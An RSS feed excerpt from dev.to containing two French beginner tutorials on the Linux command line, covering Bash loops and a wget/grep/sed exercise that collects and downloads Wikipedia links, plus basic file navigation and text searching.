&lt;/div&gt;



&lt;p&gt;Le résultat ici devra être "3".&lt;/p&gt;

&lt;h2&gt;
  
  
  Boucles
&lt;/h2&gt;

&lt;p&gt;Voici un autre concept de programmation : les boucles. Les boucles permettent à un programme d'être exécuté en répétition jusqu'à arriver à une certain condition. La syntaxe de base sera comme suit :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;VARIABLE &lt;span class="k"&gt;in &lt;/span&gt;LISTE&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;ACTION &lt;span class="nv"&gt;$VARIABLE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pour lire ça en français, ça sera : "pour la variable "VARIABLE" dans la liste "LISTE", faire l'action "ACTION" et, quand il n'y a plus de variable dans la liste, terminer la boucle ("done" - réalisé, en français). Vous remarquerez que la variable est appelée avec le symbole "$" comme nous avons vu plus haut et que chaque instruction est séparée par un ";".&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Vous ne devez pas nécessairement écrire les variables en capitales, je le fais juste pour différencier ce qui tient de la syntaxe de la fonction et ce que vous pouvez changer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Essayons d'imprimer toutes les lignes de notre csv :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;ligne &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;exemple.csv&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ligne&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Qu'est-ce &lt;code&gt;$(cat exemple.csv)&lt;/code&gt; ? En utilisant &lt;code&gt;$()&lt;/code&gt;, nous pouvons exécuter une autre fonction Bash à l'intérieur d'une fonction, un peu comme des poupées russes. Donc en faisant &lt;code&gt;cat exemple.csv&lt;/code&gt;, nous avons imprimé le csv dans le terminal et ensuite commencé la boucle.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Devra donner ce résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Robert;Dupont;rue
du
Verger,
12;…
"Michel";"Durand";"
av.
de
la
Ferme,
89
";…
"Michel
""Michele""";"Durand";"
av.
de
la
Ferme,
89";…
"Michel;Michele";"Durand";"av.
de
la
Ferme,
89";…
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Assez intéressant que le système coupe les lignes aux espaces...&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Il est aussi possible de faire des boucles plus proches de ce qu'on retrouve dans les cours de maths, comme par exemple: "somme de tout n, partant de 0 jusque 100". En Bash (donc dans notre terminal), il sera possible de faire ça de la manière suivante (et en une ligne) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;somme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;0 100&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nv"&gt;somme&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;expr&lt;/span&gt; &lt;span class="nv"&gt;$somme&lt;/span&gt; + &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$somme&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ThKHWi-d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/iyxjzigb4wyr3an7looa.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ThKHWi-d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/iyxjzigb4wyr3an7looa.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ok, perdu.e.s ? La première fois, moi aussi. Revenons dessus pas à pas :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;somme=0&lt;/code&gt; : nous définissons une variable "somme" et l'initialisons à 0&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;;&lt;/code&gt; : ce caractère nous permet de séparer différentes instructions en Bash. C'est-à-dire que nous disons à notre terminal de suivre la première instruction avec la suivante. Cela diffère de la barre verticale &lt;code&gt;|&lt;/code&gt; où les deux instructions sont connectées.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;for VARIABLE in CONDITION; do ACTION SUR VARIABLE; done&lt;/code&gt; : ceci est la syntaxe de base d'une boucle en Bash.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$(seq 0 100)&lt;/code&gt; : &lt;code&gt;seq 0 100&lt;/code&gt; est une instruction affichera les chiffres de 0 à 100 dans votre terminal (essayez !).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;expr $somme + $i&lt;/code&gt; : pour que votre terminal comprenne que vous voulez faire une expression arithmétique, il faudra ajouter la fonction &lt;code&gt;expr&lt;/code&gt;. Ensuite, appeler les deux variables &lt;code&gt;somme&lt;/code&gt; et &lt;code&gt;i&lt;/code&gt; (que nous avons définies au début de notre boucle) avec &lt;code&gt;$&lt;/code&gt;. Cette fonction fera la somme de &lt;code&gt;$somme&lt;/code&gt; ainsi que de &lt;code&gt;$i&lt;/code&gt; et enregistra le résultat dans la variable &lt;code&gt;somme&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;done&lt;/code&gt; : permet de finir la boucle ouverte via &lt;code&gt;for&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;echo $somme&lt;/code&gt;: va afficher le résultat final de notre boucle.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Félicitations, vous venez de faire votre première boucle !&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Précisions&lt;/strong&gt;: Pour &lt;code&gt;seq&lt;/code&gt;, il est aussi possible de faire &lt;code&gt;{1..100}&lt;/code&gt; et arriver au même résultat. Pour &lt;code&gt;expr&lt;/code&gt;, il es aussi possible de faire &lt;code&gt;$((1 + 1))&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Cas pratique : Fouiller une page web
&lt;/h2&gt;

&lt;p&gt;Faire des additions, c'est utile mais nous avons tou.te.es des calculettes dans nos poches et franchement, on s'en fiche un peu de faire ça via le terminal.&lt;/p&gt;

&lt;p&gt;Alors, voici un cas pratique qui va reprendre l'entièreté de la matière cet article et du précédent dans quelque chose d'utile : récupérer des informations d'une page web.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ici, nous allons utiliser la plupart de concepts vus dans les deux premiers articles, s'il y a des parties que vous trouvez compliquées ou peu claires, n'hésitez pas à revenir sur vos pas. Le but n'est pas de tout comprendre d'un coup tout de suite mais d'intégrer les concepts à son aise.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;D'abord, prenons cette page web : &lt;a href="https://fr.wikipedia.org/wiki/Hedy_Lamarr"&gt;https://fr.wikipedia.org/wiki/Hedy_Lamarr&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Téléchargeons la via &lt;code&gt;wget&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://en.wikipedia.org/wiki/Hedy_Lamarr &lt;span class="nt"&gt;-O&lt;/span&gt; page.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;L'option de destination du fichier est un "o" majuscule pas un zéro !&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Vérifions la page :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;head &lt;/span&gt;page.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En HTML, le langage de formatage des pages web, le liens sont précédés de la balise &lt;code&gt;href=&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"href="&lt;/span&gt; page.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Choisissons maintenant un délimiteur :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cut -d '"' -f 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Il est possible de faire passer plusieurs &lt;code&gt;cut&lt;/code&gt; l'un à la suite de l'autre afin de filtrer au maximum le résultat de la page. En effet, le travail de filtrage de pages web peut être un peu laborieux au début afin de trouver les bons filtres. C'est important de tester différentes choses et de regarder le résultat et d'incrémenter progressivement la précision des-dits filtres.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ici, nous allons récupérer tous les liens internes de la page Wikipédia, c'est-à-dire les liens qui commencent par &lt;code&gt;/wiki/&lt;/code&gt;. Nous allons utiliser l'option &lt;code&gt;-e&lt;/code&gt; de &lt;code&gt;grep&lt;/code&gt; qui nous permettra de faire passer un filtre spécial (une expression régulière ou &lt;em&gt;regex&lt;/em&gt;).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Les &lt;a href="https://fr.wikipedia.org/wiki/Expression_r%C3%A9guli%C3%A8re"&gt;&lt;em&gt;regex&lt;/em&gt;&lt;/a&gt; sont une langage de programmation qui permet de faire du filtrage plus précis de texte. Ce n'est pas le sujet de cet article car c'est assez abscon au début. Retenez ici jusque le "^" défini le début d'une chaine de caractère. Donc, dans l'exemple suivant &lt;code&gt;^/wiki/&lt;/code&gt; signifie : toutes les lignes qui commencent exclusivement par "/wiki/".&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"href="&lt;/span&gt; page.html | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'"'&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; 2 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"^/wiki/"&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; liens.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--D5x_9IBV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6slvou22f5j0h4zrvqp9.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--D5x_9IBV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6slvou22f5j0h4zrvqp9.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vous remarquerez que les liens ne sont pas complets, c'est pour cela que nous allons corriger cela avec &lt;code&gt;sed&lt;/code&gt;  et l'option &lt;code&gt;-i&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/\/wiki\//https:\/\/fr\.wikipedia\.org\/wiki\//g'&lt;/span&gt; liens.txt &lt;span class="nt"&gt;-i&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Pourquoi des &lt;code&gt;\&lt;/code&gt; devant les caractères spéciaux ? Car &lt;code&gt;sed&lt;/code&gt; fonctionne avec des &lt;em&gt;regex&lt;/em&gt; et chaque caractère à une signification et une fonction particulière. Nous voulons considérer ces caractères de façon littérale, donc nous devons &lt;em&gt;les échapper&lt;/em&gt; avec le caractère &lt;code&gt;\&lt;/code&gt;. C'est-à-dire, dire à &lt;code&gt;sed&lt;/code&gt; qu'il ne faut pas les considérer comme des fonctions mais comme de simples caractères. C'est le cas pour les &lt;code&gt;/&lt;/code&gt; et &lt;code&gt;.&lt;/code&gt;. Si vous regardez bien, les &lt;code&gt;/&lt;/code&gt; qui se sont pas échappés, ce sont ceux qui sont nécessaires pour la syntaxe de &lt;code&gt;sed&lt;/code&gt;.&lt;br&gt;
&lt;strong&gt;Astuce&lt;/strong&gt; : Il est aussi possible d'utiliser &lt;code&gt;#&lt;/code&gt; lorsqu'il y a beaucoup de caractères à échapper. Donc, ceci est valide aussi et donnera le même résultat : &lt;code&gt;sed 's#/wiki//#https://fr.wikipedia/.org/wiki/#' liens.txt -i&lt;/code&gt; (et est un peu plus facile à lire).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Vérifions notre liste de liens :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;head &lt;/span&gt;liens.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Maintenant, nous allons télécharger tous les liens les uns à la suite de l'autre pour une lecture hors-ligne confortable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;dossier_liens
&lt;span class="k"&gt;for &lt;/span&gt;lien &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;liens.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;wget &lt;span class="nv"&gt;$lien&lt;/span&gt; &lt;span class="nt"&gt;-P&lt;/span&gt; dossier_liens&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;L'option &lt;code&gt;-P&lt;/code&gt; permet d'envoyer le résultat de &lt;code&gt;wget&lt;/code&gt; dans un dossier plutôt que dans un fichier.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Et voilà le travail !&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Il est possible de faire tout cela en une seule ligne. Les fameux "one-liners" dont les développeur.euse.s raffolent tant. Essayer de trouver une manière de faire ces commandes en une seule ligne et lancez-la ! Essayez d'arriver au même résultat avec différentes pages Wikipédia.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Nous avons vu dans ces deux articles comment traiter des listes, les filtrer, les nettoyer et en refaire des objets que nous pouvons utiliser par la suite !&lt;/p&gt;

&lt;p&gt;N'hésitez pas à me contacter si vous avez des questions ou des remarques.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; : Merci à Dattaz pour les précisions et les astuces !&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>linux</category>
      <category>french</category>
    </item>
    <item>
      <title>La ligne de commande Linux pour les impatient.e.s</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Thu, 07 Jan 2021 17:39:04 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/la-ligne-de-commande-linux-pour-les-impatient-e-s-49ne</link>
      <guid>https://dev.to/evilcel3ri/la-ligne-de-commande-linux-pour-les-impatient-e-s-49ne</guid>
      <description>&lt;p&gt;La ligne de commande Linux est un outil incroyable, elle permet d'avoir un interaction directe avec son ordinateur et propose un certain nombre de fonctionnalités qui augmentent assez vite la productivité.&lt;/p&gt;

&lt;p&gt;Seulement, elle n'est pas nécessairement facile à prendre en main. Par défaut, vous vous retrouvez devant une fenêtre noire avec un curseur qui clignote un peu en mode années 80 ; ce n'est pas très rassurant !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--T4ee7NBC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bppol621kbrimnr2n4mn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--T4ee7NBC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bppol621kbrimnr2n4mn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pourtant, il n'y a rien à craindre. Ce que vous voyez, c'est un &lt;em&gt;terminal&lt;/em&gt; et nous allons écrire des commandes qui seront des instructions comprises par votre ordinateur. Si vous écrivez correctement les choses, votre ordinateur exécutera vos souhaits, autrement, il affichera une erreur.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Faites attention, il est possible de faire des bêtises via la ligne de commande.  Soyez attentif.ve.s à ce que vous écrivez et tentez de toujours comprendre ce que vous tapez sur votre clavier&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Les mouvements de base
&lt;/h1&gt;

&lt;p&gt;L'intérieur de votre machine Linux fonctionne comme un arbre. Il a sa racine ("root" en anglais) et s'ouvre en myriades de branches qui ont toutes un chemin ("path" en anglais) standardisé.&lt;/p&gt;

&lt;p&gt;La première chose à faire, c'est se localiser, pour cela, il y a une commande: &lt;code&gt;pwd&lt;/code&gt; ("print working directory" - afficher le dossier courant).&lt;/p&gt;

&lt;p&gt;Écrivez ces trois lettres dans votre terminal et appuyez sur Entrée. Vous devrez avoir un résultat comme: &lt;code&gt;/home/chris&lt;/code&gt; (remplacez "chris" par votre nom d'utilisateur.ice). Ceci est votre maison ("home") ou dossier utilisateur.ice.&lt;/p&gt;

&lt;p&gt;Maintenant, bougeons ! Pour se déplacer dans l'arbre, retenez la commande &lt;code&gt;cd&lt;/code&gt; ("change directory" - changer de dossier). Il faudra ajouter un instruction à cette commande pour que votre ordinateur comprenne où vous décidez de vous rendre. Linux contient par défaut quelques raccourcis:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/&lt;/code&gt;: root, la racine de votre arbre à dossiers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~&lt;/code&gt;: home, votre dossier utilisateur.ice&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;..&lt;/code&gt;: dossier parent&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.&lt;/code&gt;: dossier courant&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Entrez &lt;code&gt;cd /&lt;/code&gt;, appuyez sur entrée et ensuite &lt;code&gt;pwd&lt;/code&gt;. Vous remarquerez que vous avez changé d'emplacement.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Il est aussi possible de bouger de dossier parent à dossier parent avec : &lt;code&gt;cd ../../&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Que représentent ces &lt;code&gt;/&lt;/code&gt; ? Ils sont les séparations entre les dossiers de votre arbre à dossier. Vous commencez par &lt;code&gt;/&lt;/code&gt; et ensuite ajoutez un dossier, par exemple &lt;code&gt;/home&lt;/code&gt; et ensuite encore un sous dossier: &lt;code&gt;/home/chris&lt;/code&gt;. Et comme cela jusqu'à vous arriverez à votre destination souhaitée.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Maintenant pour afficher le contenu des dossiers: &lt;code&gt;ls&lt;/code&gt; ("list" - lister).  Essayez: &lt;code&gt;cd /&lt;/code&gt; appuyez sur Entrée et puis &lt;code&gt;ls&lt;/code&gt; et appuyez sur Entrée. Répétez cela avec &lt;code&gt;cd ~&lt;/code&gt; et puis &lt;code&gt;ls&lt;/code&gt; et comparez les résultats.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Création de fichiers et de dossiers
&lt;/h1&gt;

&lt;p&gt;Maintenant que vous savez vous déplacer, attaquons-nous à la création de dossiers.&lt;/p&gt;

&lt;p&gt;Pour créer un fichier, nous utiliserons la commande &lt;code&gt;touch&lt;/code&gt; ("toucher" en anglais) suivi du nom de fichier que nous voulons créer. Exemple : &lt;code&gt;touch test&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Si vous avez un soucis à ce niveau, faites: &lt;code&gt;cd ~&lt;/code&gt; et puis réessayez.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pour créer un dossier, nous utiliserons la commande &lt;code&gt;mkdir&lt;/code&gt; ("make directory" - créer un dossier) suivi du nom de dossier que nous voulons créer. Exemple : &lt;code&gt;mkdir dossier_test&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Maintenant, si vous faites &lt;code&gt;ls&lt;/code&gt;, vous devrez trouver le fichier et le dossier créés.&lt;/p&gt;

&lt;p&gt;Nous pouvons déplacer le fichier dans le dossier avec la commande &lt;code&gt;mv&lt;/code&gt; ("move" - bouger en anglais) suivi de l'objet que nous voulons bouger suivi de la destination. Exemple: &lt;code&gt;mv test dossier_test&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Trop de fautes de frappes ? Pas assez de patience ? Les terminaux Linux ont une touche magique: &lt;code&gt;Tab&lt;/code&gt;. Si vous appuyez dessus, il vous proposera des fichiers ou dossier présents dans le chemin courant où vous vous trouvez.  Essayez et n'hésitez pas à appuyer plusieurs fois !&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Nous pouvons aussi copier des objets grâce à la commande &lt;code&gt;cp&lt;/code&gt; ("copy" - copier) suivi de l'objet et de la destination. Exemple: &lt;code&gt;cp dossier_test/test test2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Il est aussi possible d'effacer des fichiers avec la commande &lt;code&gt;rm&lt;/code&gt; ("remove" - enlever). &lt;strong&gt;Mais faites attention, les fichiers effacés ne sont pas récupérables dans la corbeille, ils sont partis pour de bon !&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Astuce : pour renommer un fichier ou un dossier, il vous suffira de bouger (&lt;code&gt;mv&lt;/code&gt;) un fichier ou dossier vers son nouveau nom. Exemple: &lt;code&gt;mv dossier_test dossier_final&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Que les choses sérieuses commencent !
&lt;/h1&gt;

&lt;p&gt;Maintenant, vous avez une connaissance de base des mouvements grâce à la ligne de commande Linux. Nous allons plonger dans des utilités plus efficaces grâce à la ligne de commande, notamment le traitement de grands et lourds fichiers texte.&lt;/p&gt;

&lt;p&gt;Lorsque les éditeurs de texte peuvent être lourds et lents à réagir, utiliser la ligne de commande vous permettra de trouver ce que vous chercher plus rapidement.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Afficher un fichier&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cat&lt;/code&gt;: affiche le fichier. N'affiche rien si le fichier est vide. Exemple : &lt;code&gt;cat test2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;head&lt;/code&gt;: affiche les premières lignes du fichier. N'affiche rien si le fichier est
vide. Exemple : &lt;code&gt;head fichier&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tail&lt;/code&gt;: affiche les dernières lignes du fichier. N'affiche rien si le
fichier est vide. Exemple: &lt;code&gt;tail fichier&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Chercher un fichier&lt;/em&gt;:&lt;/p&gt;

&lt;p&gt;Pour chercher un fichier, nous utilisons une commande qui s'appelle &lt;code&gt;grep&lt;/code&gt;. Qui nous permettra de fouiller le texte d'un fichier d'en extraire les résultats.&lt;/p&gt;

&lt;p&gt;Prenons d'abord un gros texte, par exemple un version texte de &lt;em&gt;Frankenstein&lt;/em&gt; de Mary Shelley (c'est dans le domaine public de nous en faites pas vous ne faites rien d'illégal). Téléchargez le avec cette commande:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://archive.org/stream/Frankenstein1818Edition/frank-a5_djvu.txt &lt;span class="nt"&gt;-O&lt;/span&gt;
texte_complet.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;wget&lt;/code&gt; est une commande qui vous permet de télécharger une page web.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Attendez quelques secondes, puis vérifiez que le texte (&lt;code&gt;texte_complet.txt&lt;/code&gt;) est présent en utilisant &lt;code&gt;ls&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pour chercher le texte, vous devrez définir le mot que vous recherchez ainsi que l'endroit où vous voulez le chercher. Ici:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"love"&lt;/span&gt; texte_complet.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cette commande va rechercher le mot "love" ("amour") dans le texte de &lt;em&gt;Frankenstein&lt;/em&gt;. Vous remarquerez que grep trouve aussi des mots comme "beloved" ou "lovely" qui ne sont pas nécessairement ce que nous voulons. Rajoutons des espaces autour de notre cible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" love "&lt;/span&gt; texte_complet.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ici, &lt;code&gt;grep&lt;/code&gt; va rechercher toutes les occurrences de "love" mais entre deux espaces.&lt;/p&gt;

&lt;p&gt;Il est possible de compter le nombre de résultats. Pour cela, nous allons introduire un nouveau concept: &lt;code&gt;|&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;La barre verticale ou "pipe" en anglais va permettre de transférer le résultat d'une commande vers une autre commande.&lt;/p&gt;

&lt;p&gt;Nous allons envoyer le résultat de notre rechercher dans la commande &lt;code&gt;wc&lt;/code&gt; ("word count" - compte de mots) qui va compter le nombre de résultats:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" love "&lt;/span&gt; texte_complet.txt | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;-w&lt;/code&gt; est une option de la commande &lt;code&gt;wc&lt;/code&gt; qui affiche le nombre de mots. Ces options sont disponibles pour chaque commandes, vous pouvez les explorer avec l'option &lt;code&gt;--help&lt;/code&gt;. Par exemple : &lt;code&gt;ls --help&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ok, tout cela est bien joli mais nous pouvons faire plus !&lt;/p&gt;

